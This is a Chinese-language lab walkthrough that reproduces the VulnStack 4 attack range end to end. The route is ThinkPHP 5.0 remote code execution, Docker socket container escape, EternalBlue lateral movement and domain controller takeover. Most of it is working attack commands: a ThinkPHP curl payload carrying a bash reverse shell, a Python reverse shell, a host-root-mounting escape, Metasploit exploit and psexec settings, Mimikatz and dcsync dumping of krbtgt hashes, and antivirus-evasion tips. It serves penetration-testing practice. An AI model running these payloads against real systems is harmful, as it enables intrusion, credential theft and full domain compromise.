1. 项目概述:从靶场复现到实战思维构建
最近在整理内网渗透的学习笔记,发现很多朋友对“容器逃逸”和“域渗透”这两个环节的衔接总感觉有些脱节。理论看了不少,但一到自己动手搭建环境、复现攻击链时,就容易被各种细节卡住。正好,红日安全团队的VulnStack 4靶场是一个绝佳的练习场景,它巧妙地将一个Web应用漏洞作为入口,引导攻击者穿越容器边界,最终深入并控制整个Windows域环境。这个靶场的设计非常贴近真实攻防场景,复现它的过程,本质上就是在演练一套完整的“外部突破 -> 横向移动 -> 权限提升 -> 信息收集 -> 域控夺取”的攻击路径。
我花了几天时间,从头到尾完整地复现了一遍,过程中确实踩了不少坑,比如容器内环境配置、特定漏洞利用的版本依赖、以及域渗透中那些容易被忽略的细节。这篇文章,我就以一个“踩坑者”和“复盘者”的身份,手把手带你走通这五个关键步骤。我的目标不是让你照抄命令,而是理解每一步背后的“为什么”——为什么选择这个漏洞点?为什么用这个工具?遇到报错该怎么排查?我会把所有的操作细节、参数含义、以及我遇到的坑和解决方案都摊开来讲清楚。无论你是刚接触内网安全的新手,还是想巩固一下攻击链思维的同行,这篇详尽的复盘笔记应该都能给你带来一些直接的帮助。
2. 靶场环境设计与核心攻击链解析
2.1 靶场拓扑与角色定位
VulnStack 4的典型网络拓扑模拟了一个中小型企业的混合架构。其核心通常包含三台主机:
- 攻击机 (Attacker):通常是我们自己的Kali Linux或其它渗透测试平台,位于外部网络。
- 边界服务器 (Border Server):这是一台Ubuntu系统,运行着存在漏洞的Web应用(例如ThinkPHP 5.0.*),并且最关键的是,这个Web服务很可能运行在Docker容器中。它是整个攻击链的起点,也是“容器逃逸”发生的地方。
- 域内主机 (Domain Member):一台加入域的Windows 10或Windows 7主机,作为内部网络的工作站。
- 域控制器 (Domain Controller, DC):一台Windows Server 2012或2016的主机,运行Active Directory服务,是整个域的核心。
攻击链的流向非常清晰:攻击机 -> 边界服务器(Web漏洞打入容器内部)-> 从容器逃逸到宿主机 -> 从Ubuntu宿主机横向移动到Windows域内主机 -> 最终攻陷域控制器。这个链条涵盖了从Web攻防、Linux系统权限维持、到Windows内网横向移动和域权限提升的多个核心技能点。
注意:在搭建或下载靶场环境时,务必确认各主机的IP地址、网卡设置(如是否采用仅主机模式)以及预设的账号密码。建议先用
arp-scan或netdiscover配合nmap做一次完整的网络发现,画出自己的网络拓扑图,这是后续所有操作的基础。
2.2 漏洞起点:ThinkPHP RCE与初始立足点获取
靶场的入口通常是边界服务器上运行的ThinkPHP 5.0.*版本应用,其特定版本存在远程代码执行漏洞。利用这个漏洞,我们的目标不是简单的执行whoami,而是要获取一个反向Shell,从而在容器内部建立一个稳定的交互式控制通道。
利用过程与命令详解:
首先,我们使用nmap或直接浏览器访问来识别服务:
nmap -sV -p 80,443 <边界服务器IP>发现80端口运行着Apache/Nginx和ThinkPHP。
经典的利用Payload是向特定路由发送包含恶意代码的请求。这里我使用curl配合bash反弹Shell:
curl -X POST "http://<靶机IP>/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash+-c+'bash+-i+>%26+/dev/tcp/<你的攻击机IP>/<监听端口>+0>%261'"参数拆解与避坑指南:
s=/index/\think\app/invokefunction:这是触发漏洞的特定路径,ThinkPHP 5.0.*的漏洞利用点。function=call_user_func_array:利用PHP的call_user_func_array函数来动态调用系统命令。vars[0]=system:指定要调用的函数是system(),用于执行操作系统命令。vars[1][]=bash -c ...:这是传递给system()函数的参数,即要执行的命令。这里我们执行一个bash命令来反弹Shell。bash -i >& /dev/tcp/... 0>&1:这是一个标准的Bash反向Shell命令。-i表示交互式Shell;>&将标准输出和错误输出重定向到TCP连接;0>&1将标准输入也重定向到同一个连接,从而形成一个完整的交互通道。- 避坑点1:编码问题。如果直接复制粘贴上面的命令,
&、>、空格等特殊字符在HTTP请求中需要正确处理。我上面的例子中使用了+代替空格,并对>&进行了URL编码(>%26)。在实际操作中,更稳妥的方式是使用Burp Suite等工具手动构建请求包,或者使用Python的requests库编写脚本,避免命令行转义的麻烦。 - 避坑点2:监听姿势。在攻击机上,务必在发送Payload前启动监听。使用
nc监听时,建议加上-nvvp参数,确保能接收到连接并看到详细输出:nc -nvvlp <监听端口>
成功执行后,你会在nc终端获得一个容器内的Shell。第一个里程碑达成:我们在目标内部获得了初始执行权限。
3. 容器逃逸:突破隔离边界的关键一跃
获得容器内的Shell后,我们首先要判断自己是否真的在容器中,并寻找逃逸路径。这是内网渗透中从“点”突破到“面”控制的关键转折点。
3.1 环境侦察与逃逸向量发现
在容器Shell中,执行一些基础的信息收集命令:
# 检查根目录下是否有.dockerenv文件 ls -la /.dockerenv # 检查/proc/1/cgroup,查看cgroup信息,如果包含`docker`、`kubepods`等关键字,则很可能在容器中 cat /proc/1/cgroup # 检查磁盘挂载情况,容器内挂载点通常较少且规整 df -h # 查看网卡信息,Docker容器的网卡名通常是eth0,且IP是内部网段(如172.17.0.x) ip addr如果确认在容器内,下一步就是寻找逃逸方法。VulnStack 4靶场常见的逃逸向量是利用Docker Socket挂载或特权容器。
检查Docker Socket:
# 查找宿主机挂载进来的Docker Socket文件 find / -name docker.sock 2>/dev/null # 或者检查常见的挂载点 ls -la /run/ | grep docker ls -la /var/run/ | grep docker如果发现/run/docker.sock或/var/run/docker.sock文件存在,并且容器当前用户(可能是www-data)有读写权限,那么这就是一条黄金逃逸通道。因为Docker Socket是Docker守护进程的API入口,控制了它,就等于控制了宿主机上运行Docker的权限。
3.2 利用Docker Socket实现逃逸
假设我们找到了可写的/var/run/docker.sock。逃逸的核心思路是:利用容器内的Docker客户端,通过这个Socket与宿主机Docker守护进程通信,在宿主机上运行一个新的容器,并将宿主机的根目录/挂载到这个新容器内,从而在容器内直接读写宿主机文件系统,或直接获得一个宿主机Shell。
操作步骤:
在容器内安装Docker客户端(如果未安装)。由于容器可能没有
apt,我们可以从网络下载静态二进制文件。但更简单的方法是,如果宿主机安装了Docker,其客户端二进制文件可能通过某种方式可用。我们先检查:which docker如果没有,可以尝试从宿主机挂载的目录寻找,或者使用
curl从攻击机下载一个静态编译的docker客户端到容器内的可写目录(如/tmp)。与宿主机Docker守护进程交互。我们使用
docker -H unix:///var/run/docker.sock来指定Socket。首先,测试连接并查看宿主机上的镜像:docker -H unix:///var/run/docker.sock images如果成功列出镜像,说明通信正常。
创建逃逸容器。我们的目标是运行一个拥有宿主机根目录挂载权限的新容器。这里使用一个最小的Alpine镜像为例:
docker -H unix:///var/run/docker.sock run -it -v /:/host alpine /bin/sh命令解析:
-H unix:///var/run/docker.sock:指定使用容器内的这个socket文件进行通信,实际连接的是宿主机的Docker守护进程。run -it:交互式运行一个新容器。-v /:/host:将宿主机的根目录/挂载到新容器内的/host目录。这是逃逸的关键!alpine:使用的镜像名,因为体积小,拉取快。/bin/sh:容器启动后执行的命令。
在新容器内访问宿主机文件系统。上一条命令执行后,我们会进入新容器的Shell。此时,执行
ls /host,你看到的将是宿主机的整个根目录。你可以直接修改宿主机文件,例如:- 写入SSH公钥到
/host/root/.ssh/authorized_keys,实现SSH免密登录。 - 修改
/host/etc/crontab,创建定时任务反弹Shell。 - 更直接的方式,在宿主机上运行一个反弹Shell。因为
/host就是宿主机根目录,我们可以通过chroot切换根目录到/host,或者直接执行宿主机上的二进制文件。一个经典的方法是,在宿主机上创建一个反弹Shell的脚本并执行:
随后在攻击机监听新端口,即可获得一个宿主机的Shell。# 在新容器内操作 echo 'bash -i >& /dev/tcp/<攻击机IP>/<新端口> 0>&1' > /host/tmp/reverse.sh chmod +x /host/tmp/reverse.sh # 通过chroot到宿主机环境来执行 chroot /host /bin/bash -c "/tmp/reverse.sh"
- 写入SSH公钥到
实操心得:在实际测试中,可能会遇到宿主机上没有
alpine镜像的情况。此时,Docker守护进程会尝试从Docker Hub拉取,如果网络不通就会失败。解决方案是:先使用宿主机上已有的镜像,比如ubuntu:latest,或者使用busybox。可以通过docker -H ... images先查看现有镜像列表。另一个更通用的方法是,不运行新容器,而是直接“接管”一个已在运行的、有特权的容器,通过docker exec进入其命名空间,这需要更多的权限和技巧。
成功获得宿主机Shell后,我们便完成了从容器到宿主机(边界服务器实体机)的逃逸,攻击视野从单一的Web应用容器扩大到了整个边界服务器操作系统。
4. 内网横向移动:从Linux宿主机到Windows域成员
拿到Ubuntu宿主机的权限后,我们正式进入内网。首要任务是进行网络发现,识别域内主机,并寻找向Windows系统横向移动的方法。
4.1 内网信息收集与侦察
在Ubuntu宿主机上,我们可以利用已有的权限进行更深入的信息收集:
网络拓扑探测:
# 查看当前主机网络配置,确认内网网段 ip addr cat /etc/resolv.conf # 查看DNS,域控通常就是DNS服务器 route -n # 使用内置工具进行ARP扫描或ICMP扫描,发现存活主机 arp -a # 或者用nmap(如果已安装) nmap -sn 192.168.52.0/24 # 假设这是内网网段如果
nmap未安装,可以上传静态二进制文件,或者使用更简单的ping扫描脚本。凭证窃取与密码嗅探:
- 检查历史命令:
history,看是否有管理员输入过密码。 - 查找配置文件:在
/home目录、Web目录下寻找包含数据库连接字符串、API密钥的配置文件(如config.php,.env)。 - 检查SSH密钥:
~/.ssh/id_rsa(如果有),可用于免密登录其他服务器。 - 内存中提取密码:如果条件允许,可以尝试使用
mimipenguin等工具(需根据系统架构编译上传),但成功率依赖环境。
- 检查历史命令:
定位域控制器:在Linux上,可以通过查询DNS或SMB来发现域控。
# 查询DNS SRV记录,定位域控 nslookup -type=SRV _ldap._tcp.dc._msdcs.<域名> # 或者使用工具如ldapsearch通常,在
/etc/resolv.conf或/etc/hosts中就能发现域名的线索,域控的IP往往是DNS服务器的IP。
4.2 利用SMB协议与MS17-010漏洞进行横向移动
假设我们通过扫描发现内网有一台Windows 7主机(192.168.52.143),并且可能存在永恒之蓝漏洞。我们的攻击机无法直接访问该内网IP,因此需要在Ubuntu宿主机上搭建一个“中转站”或“代理”,将我们的攻击工具送到内网环境。
方案选择:在Ubuntu宿主机上部署Metasploit
这是比较直接的方法。我们在已控的Ubuntu宿主机上安装Metasploit Framework,然后以其为跳板,攻击内网Windows主机。
在Ubuntu上安装Metasploit:
# 添加Metasploit仓库并安装 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod +x msfinstall ./msfinstall安装过程可能需要一些时间。安装完成后,运行
msfconsole即可。配置路由与代理(如果攻击机想直接控制):在更复杂的场景,我们可能希望从外部的攻击机直接操控内网的Metasploit会话。这时需要在Ubuntu宿主机上运行Metasploit的
exploit/multi/handler作为持久化后门,并通过ssh反向隧道或frp/nps等工具进行端口转发,将Ubuntu宿主机的MSF监听端口映射到攻击机。这一步稍显复杂,在靶场复现中,为了简化,我们可以直接在Ubuntu宿主机的终端里操作MSF。利用MS17-010攻击内网Windows主机: 在Ubuntu宿主机的
msfconsole中:use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.52.143 # 目标Windows主机IP set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.52.141 # Ubuntu宿主机的内网IP(用于接收反弹Shell) set LPORT 4444 exploit参数与避坑:
LHOST必须设置为Ubuntu宿主机的内网IP,因为Meterpreter的Shell是反弹到这里的。- 如果目标系统是Windows 7 x64,选择对应的payload。x86和x64的payload成功率不同,需要尝试。
- 常见失败原因:目标系统已打补丁;防火墙拦截;SMB服务未开启或版本不匹配。在靶场环境中,通常配置为存在漏洞。
获取Meterpreter会话后的操作:攻击成功后,会得到一个Meterpreter会话。我们首先需要将其迁移到一个稳定的进程(如
explorer.exe)中,防止会话因进程退出而关闭。meterpreter > getpid meterpreter > migrate <explorer.exe的PID>然后,就可以进行常规的信息收集,如
sysinfo,getuid,hashdump等。
注意事项:在实际攻防中,MS17-010这类漏洞的利用动静较大,容易被IDS/IPS检测。在靶场练习中,它是一条捷径,但在真实环境中,可能需要结合其他横向移动手段,如Pass-the-Hash、利用WinRM、WMI、计划任务、服务创建等。
5. 域渗透提权:从普通域用户到域管理员
通过永恒之蓝,我们可能直接获得了目标Windows主机的SYSTEM权限。但我们的最终目标是域控制器。此时,我们可能已经控制了一台域成员主机,并获取了本地用户的哈希或明文密码。下一步就是利用域内凭证,进行横向移动和权限提升。
5.1 凭证提取与权限分析
在已控的Windows主机上(假设是Windows 7域成员),我们提取凭证:
meterpreter > hashdump这会导出本地SAM数据库中的NTLM哈希。但更重要的是域用户哈希。如果当前进程是以域用户身份运行的,我们可以尝试使用meterpreter的kiwi扩展(Mimikatz)来提取内存中的明文密码和Kerberos票据。
meterpreter > load kiwi meterpreter > creds_all如果成功,你可能会看到域用户的用户名和密码。记录下这些凭证,特别是那些属于域管理员组或拥有高权限的账户。
同时,我们需要了解当前用户在域内的权限:
meterpreter > shell C:\> whoami /all # 查看当前用户权限和所属组 C:\> net user <当前用户名> /domain # 查询域用户信息 C:\> net group "Domain Admins" /domain # 查看域管理员组成员5.2 利用PsExec进行横向移动与域控攻击
假设我们通过kiwi获取到了一个域管理员组成员的密码(或哈希)。现在,我们可以直接尝试攻击域控制器。
方法一:使用PsExec直接获取域控Shell
在Meterpreter会话中,我们可以使用psexec模块,利用域管理员凭证在域控制器上执行命令,从而获取一个反向Shell。
meterpreter > background # 将当前会话放到后台 msf6 > use exploit/windows/smb/psexec set RHOSTS 192.168.52.138 # 域控制器IP set SMBUser Administrator # 域管理员账户 set SMBPass <获取到的明文密码或NTLM哈希> # 如果是哈希,格式为 LMHASH:NTHASH set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.52.141 # 接收Shell的Ubuntu宿主机IP set LPORT 5555 exploit如果凭证正确且防火墙允许(SMB端口445),这将直接在域控制器上创建一个系统服务并执行我们的Payload,返回一个高权限的Meterpreter会话。
方法二:使用WMIEXEC或计划任务
如果PsExec被拦截或失败,可以尝试其他横向移动方法。例如,使用Impacket工具包中的wmiexec.py(需要在Ubuntu宿主机上安装Impacket):
# 在Ubuntu宿主机上执行 python3 wmiexec.py <域名>/Administrator:<密码>@192.168.52.138 "whoami"或者通过计划任务执行命令。在已控的Windows主机上,可以通过schtasks命令在域控上创建任务:
C:\> schtasks /create /S 192.168.52.138 /U <域名>\Administrator /P <密码> /TN "UpdateTask" /TR "C:\shell.exe" /SC ONCE /ST 00:00 C:\> schtasks /run /S 192.168.52.138 /U <域名>\Administrator /P <密码> /TN "UpdateTask"5.3 夺取域控标志性文件
成功在域控制器上获得Shell后,最后的“仪式感”就是获取域控的标志性文件,证明完全控制。
- 获取域内所有用户哈希:使用
meterpreter的kiwi模块或上传mimikatz.exe,执行lsadump::sam或lsadump::dcsync来导出所有域用户的哈希。dcsync是更直接的方法,它模拟域控制器同步数据的行为来获取哈希。meterpreter > load kiwi meterpreter > dcsync_ntlm <域名> # 例如,dcsync_ntlm vulnstack.com - 定位并读取ntds.dit文件:这是Active Directory的数据库文件,位于
C:\Windows\NTDS\NTDS.dit。直接复制它需要特殊工具(如ntdsutil)或Volume Shadow Copy技术。更简单的方法是使用上述的dcsync。 - 获取krbtgt账户哈希:这是域内最重要的账户之一,其哈希可用于制作“黄金票据”,实现持久的域内权限维持。在
dcsync的输出中,找到krbtgt用户的哈希并妥善保存。
至此,我们已经完成了从外网Web漏洞打入,到容器逃逸,再到内网横向移动,最终攻陷域控制器的完整攻击链。
6. 常见问题排查与实战避坑指南
复现过程中,几乎每一步都可能遇到问题。这里我把自己踩过的坑和解决方案整理出来,希望能帮你节省时间。
6.1 漏洞利用阶段问题
| 问题现象 | 可能原因 | 排查与解决方案 |
|---|---|---|
发送Payload后无回显,nc无连接 | 1. Payload编码/格式错误。 2. 目标服务不存在或路径错误。 3. 防火墙/安全组拦截。 4. 反弹Shell命令在目标环境不兼容。 | 1.使用Burp Suite重放,确保请求格式正确。尝试不同编码(URL编码、Base64)。 2.确认服务端口。用 nmap扫描确认80/443端口开放状态及服务指纹。3.检查监听命令: nc -nvvlp 端口,确保端口未被占用,且攻击机防火墙允许入站。4.尝试不同反弹Shell命令:如 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
| 获得Shell后立即断开 | 1. 反弹Shell不稳定。 2. 目标环境限制(如 alpine镜像默认sh)。 | 1.升级为TTY:在获得的Shell中快速执行python -c 'import pty; pty.spawn("/bin/bash")'或script /dev/null -c bash。2.使用 socat或msfvenom生成更稳定的Payload。 |
6.2 容器逃逸阶段问题
| 问题现象 | 可能原因 | 排查与解决方案 |
|---|---|---|
docker.sock存在但无权限操作 | 容器内当前用户(如www-data)不在docker组,或Socket文件权限不足。 | 1.尝试提权:在容器内寻找SUID文件、内核漏洞等提权到root。find / -perm -u=s -type f 2>/dev/null。2.寻找其他逃逸点:检查是否以 --privileged特权模式运行(cat /proc/self/status | grep CapEff),检查挂载的敏感目录。 |
使用docker run命令时报错,如“镜像不存在” | 宿主机Docker镜像列表中没有指定的镜像(如alpine)。 | 1.使用已有镜像:docker -H unix:///var/run/docker.sock images查看列表,选择一个已有的(如ubuntu:latest)。2.使用 busybox:它更小,且宿主机很可能有:docker -H ... run -it -v /:/host busybox sh。 |
6.3 横向移动与域渗透阶段问题
| 问题现象 | 可能原因 | 排查与解决方案 |
|---|---|---|
| MS17-010漏洞利用失败 | 1. 目标系统已打补丁。 2. 目标防火墙阻止445端口或MSF Payload连接。 3. 目标系统架构(x86/x64)与Payload不匹配。 | 1.信息收集:先用auxiliary/scanner/smb/smb_ms17_010模块扫描确认漏洞存在。2.尝试不同Payload:交替尝试 windows/x64/...和windows/...的payload。3.关闭防火墙(如果已有其他入口):在已控主机上通过命令远程关闭目标防火墙(需权限)。 |
| PsExec模块连接失败 | 1. 凭证错误(密码/哈希不对)。 2. 目标防火墙阻止445端口或SMB服务访问。 3. 账户被禁用或登录限制。 | 1.验证凭证:在已控主机上用net use \\目标IP\IPC$ /user:用户名 密码测试SMB连接。2.使用其他横向移动方式:如WMI ( exploit/windows/smb/wmi_exec)、WinRM (exploit/windows/winrm/winrm_script_exec)。3.Pass-the-Hash:如果获取的是哈希,确保在MSF中正确设置 SMBPass为LMHASH:NTHASH格式,且使用set SMBDomain 域名。 |
| 无法提取明文密码或哈希 | 1. 当前进程权限不足(非SYSTEM)。 2. 系统版本(如Win10高版本)默认启用Credential Guard等保护。 | 1.提权到SYSTEM:在Meterpreter中使用getsystem命令。2.使用其他提取方法:上传 mimikatz.exe独立版并执行;使用meterpreter的hashdump命令(需SYSTEM权限);使用Volume Shadow Copy技术复制NTDS.dit文件离线破解。 |
| 域控上执行命令被拦截 | 1. 杀毒软件或EDR拦截了可疑进程创建行为。 2. AppLocker等应用程序白名单策略。 | 1.免杀处理:对Meterpreter的Payload进行编码、加壳或使用Veil、Shellter等工具生成免杀木马。2.利用合法进程:使用 msf的migrate功能注入到explorer.exe,svchost.exe等系统进程中。3.使用无文件攻击:如PowerShell内存加载、注册表注入、WMI事件订阅等。 |
整个复现过程,最耗费时间的往往不是攻击步骤本身,而是环境配置、网络连通性和各种意料之外的错误。我的建议是,每完成一步,都做好记录,并验证当前权限和网络可达性。例如,在容器内逃逸到宿主机后,立即检查宿主机到域内其他主机的连通性(ping,nmap)。在获取到一组新凭证后,先在小范围内测试其有效性(如用net use测试SMB连接),再用于关键攻击步骤。保持耐心,仔细阅读错误信息,善用搜索引擎和社区,这些“踩坑”的经历,才是从靶场到实战最宝贵的经验积累。